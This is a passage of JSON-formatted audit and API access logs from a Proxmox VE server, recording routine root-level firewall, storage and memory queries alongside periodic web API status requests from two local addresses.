a1=\"restore\""} {"@timestamp":1781964404234,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964404.234:60866): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=58435 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965922762,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:32:01 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1098"} {"@timestamp":1781965175496,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965175.496:64489): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc1355a0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61958 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965485568,"@rawstring":"node=pve type=EXECVE msg=audit(1781965485.568:65811): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964399689,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964399.689:60863): arch=c000003e syscall=59 success=yes exit=0 a0=637ee7253c40 a1=637ee7242ab0 a2=637ee7240ef0 a3=8 items=2 ppid=58431 pid=58433 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"awk\" exe=\"/usr/bin/mawk\" subj=unconfined key=\"exec\""} {"@timestamp":1781965921755,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:32:00 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 929"} {"@timestamp":1781965175488,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965175.488:64488): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc1393b0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61957 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965485559,"@rawstring":"node=pve type=EXECVE msg=audit(1781965485.559:65810): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964399688,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964399.688:60862): arch=c000003e syscall=59 success=yes exit=0 a0=637ee72544c0 a1=637ee7251390 a2=637ee7240ef0 a3=8 items=2 ppid=58431 pid=58432 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ps\" exe=\"/usr/bin/ps\" subj=unconfined key=\"exec\""} {"@timestamp":1781965920739,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:31:59 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 513"} {"@timestamp":1781965175483,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965175.483:64487): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc1355a0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61956 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965485555,"@rawstring":"node=pve type=EXECVE msg=audit(1781965485.555:65809): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964399687,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964399.687:60861): arch=c000003e syscall=59 success=yes exit=0 a0=637ee72539d0 a1=637ee7253a10 a2=637ee72571e0 a3=8 items=2 ppid=846 pid=58430 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"awk\" exe=\"/usr/bin/mawk\" subj=unconfined key=\"exec\""} {"@timestamp":1781965920739,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:31:59 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 510"} {"@timestamp":1781965175474,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965175.474:64486): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8b62100 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61955 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965485550,"@rawstring":"node=pve type=EXECVE msg=audit(1781965485.550:65808): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964399225,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964399.225:60860): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=58429 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965920739,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:31:59 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781965175466,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965175.466:64485): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61954 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965485549,"@rawstring":"node=pve type=EXECVE msg=audit(1781965485.549:65807): argc=1 a0=\"date\""} {"@timestamp":1781964399217,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964399.217:60857): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=58428 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965919733,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:31:58 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 910"} {"@timestamp":1781965175460,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965175.460:64484): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61953 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965485539,"@rawstring":"node=pve type=EXECVE msg=audit(1781965485.539:65805): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964395591,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964395.591:60854): arch=c000003e syscall=59 success=yes exit=0 a0=5a51b3e380a0 a1=5a51b3e34e20 a2=5a51b3e16680 a3=5 items=2 ppid=58421 pid=58427 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965918716,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:31:58 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1094"} {"@timestamp":1781965175456,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965175.456:64483): arch=c000003e syscall=59 success=yes exit=0 a0=571727f480a0 a1=571727f44e20 a2=571727f26680 a3=5 items=2 ppid=61946 pid=61952 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965485531,"@rawstring":"node=pve type=EXECVE msg=audit(1781965485.531:65804): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964395587,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964395.587:60853): arch=c000003e syscall=59 success=yes exit=0 a0=5a51a4e80ac8 a1=7fff92f32670 a2=5a51b3e16680 a3=5a51a4e6424e items=2 ppid=58421 pid=58423 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965918716,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:31:57 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1098"} {"@timestamp":1781965175452,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965175.452:64482): arch=c000003e syscall=59 success=yes exit=0 a0=57170883fac8 a1=7ffc803744d0 a2=571727f26680 a3=57170882324e items=2 ppid=61946 pid=61948 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965485521,"@rawstring":"node=pve type=EXECVE msg=audit(1781965485.521:65803): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964395587,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964395.587:60852): arch=c000003e syscall=59 success=yes exit=0 a0=7fff92f32630 a1=5a51b3e1d310 a2=5a51b3e16680 a3=5 items=2 ppid=58421 pid=58422 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965917720,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:31:56 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 518"} {"@timestamp":1781965175452,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965175.452:64481): arch=c000003e syscall=59 success=yes exit=0 a0=7ffc80374490 a1=571727f2d310 a2=571727f26680 a3=5 items=2 ppid=61946 pid=61947 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965485515,"@rawstring":"node=pve type=EXECVE msg=audit(1781965485.515:65802): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781964395583,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964395.583:60850): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=58421 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965917720,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:31:56 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 941"} {"@timestamp":1781965175446,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965175.446:64479): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=61946 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965485503,"@rawstring":"node=pve type=EXECVE msg=audit(1781965485.503:65801): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964395577,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964395.577:60849): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58420 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965916611,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:31:55 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 511"} {"@timestamp":1781965175438,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965175.438:64478): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61945 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965485489,"@rawstring":"node=pve type=EXECVE msg=audit(1781965485.489:65800): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964395570,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964395.570:60848): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58419 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965916611,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:31:55 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781965175430,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965175.430:64477): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61944 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965484922,"@rawstring":"node=pve type=EXECVE msg=audit(1781965484.922:65799): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781964395564,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964395.564:60847): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58418 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965916611,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:31:55 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1094"} {"@timestamp":1781965175426,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965175.426:64476): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8b21940 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61943 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965484894,"@rawstring":"node=pve type=EXECVE msg=audit(1781965484.894:65798): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781964395558,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964395.558:60846): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58417 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965914994,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:31:54 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 912"} {"@timestamp":1781965175417,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965175.417:64475): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0ec850 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61942 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965483169,"@rawstring":"node=pve type=EXECVE msg=audit(1781965483.169:65797): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964395554,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964395.554:60845): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=5c3b16df2740 items=0 ppid=1156 pid=58416 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781965914994,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:31:53 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 512"} {"@timestamp":1781965175408,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965175.408:64474): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0e25b0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61941 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965483157,"@rawstring":"node=pve type=EXECVE msg=audit(1781965483.157:65794): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964395552,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964395.552:60844): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc12f820 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58416 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781965913784,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:31:53 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1111"} {"@timestamp":1781965174321,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965174.321:64473): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73e0510 a1=64f8d73dbd20 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=61940 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965480489,"@rawstring":"node=pve type=EXECVE msg=audit(1781965480.489:65791): argc=2 a0=\"awk\" a1=7B2073756D202B3D202431207D3B20454E44207B207072696E7466202822252E3066222C2073756D29207D"} {"@timestamp":1781964395547,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964395.547:60843): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc135ea0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58415 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965913784,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:31:52 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 917"} {"@timestamp":1781965174297,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965174.297:64472): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d1a4c770 a1=64f8d73b7e40 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=61939 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965480487,"@rawstring":"node=pve type=EXECVE msg=audit(1781965480.487:65790): argc=5 a0=\"ps\" a1=\"-C\" a2=\"kvm\" a3=\"-o\" a4=\"pss\""} {"@timestamp":1781964395542,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964395.542:60842): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc13ba90 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58414 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965912785,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:31:52 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1111"} {"@timestamp":1781965172063,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965172.063:64471): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=61936 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965480485,"@rawstring":"node=pve type=EXECVE msg=audit(1781965480.485:65789): argc=3 a0=\"awk\" a1=2F5E284D656D467265657C427566666572737C436163686564293A2F207B66726565202B3D2024327D3B20454E44207B207072696E7466202822252E3066222C206672656529207D a2=\"/proc/meminfo\""} {"@timestamp":1781964395538,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964395.538:60841): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc149e10 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58413 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965912785,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:31:51 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 514"} {"@timestamp":1781965172050,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965172.050:64468): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=61935 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965478146,"@rawstring":"node=pve type=EXECVE msg=audit(1781965478.146:65788): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964395532,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964395.532:60840): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc1400c0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58412 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965912785,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:31:51 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781965167043,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965167.043:64465): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=61934 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965478136,"@rawstring":"node=pve type=EXECVE msg=audit(1781965478.136:65785): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964395529,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964395.529:60839): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8ac8f50 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58411 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965911768,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:31:50 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 509"} {"@timestamp":1781965167036,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965167.036:64462): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=61933 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965475478,"@rawstring":"node=pve type=EXECVE msg=audit(1781965475.478:65782): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964395522,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964395.522:60838): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58410 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965911768,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:31:50 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 914"} {"@timestamp":1781965165388,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965165.388:64459): arch=c000003e syscall=59 success=yes exit=0 a0=5df2ff6c9b20 a1=5df2ff6d59f0 a2=5df2ff6a3680 a3=5 items=2 ppid=61926 pid=61932 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 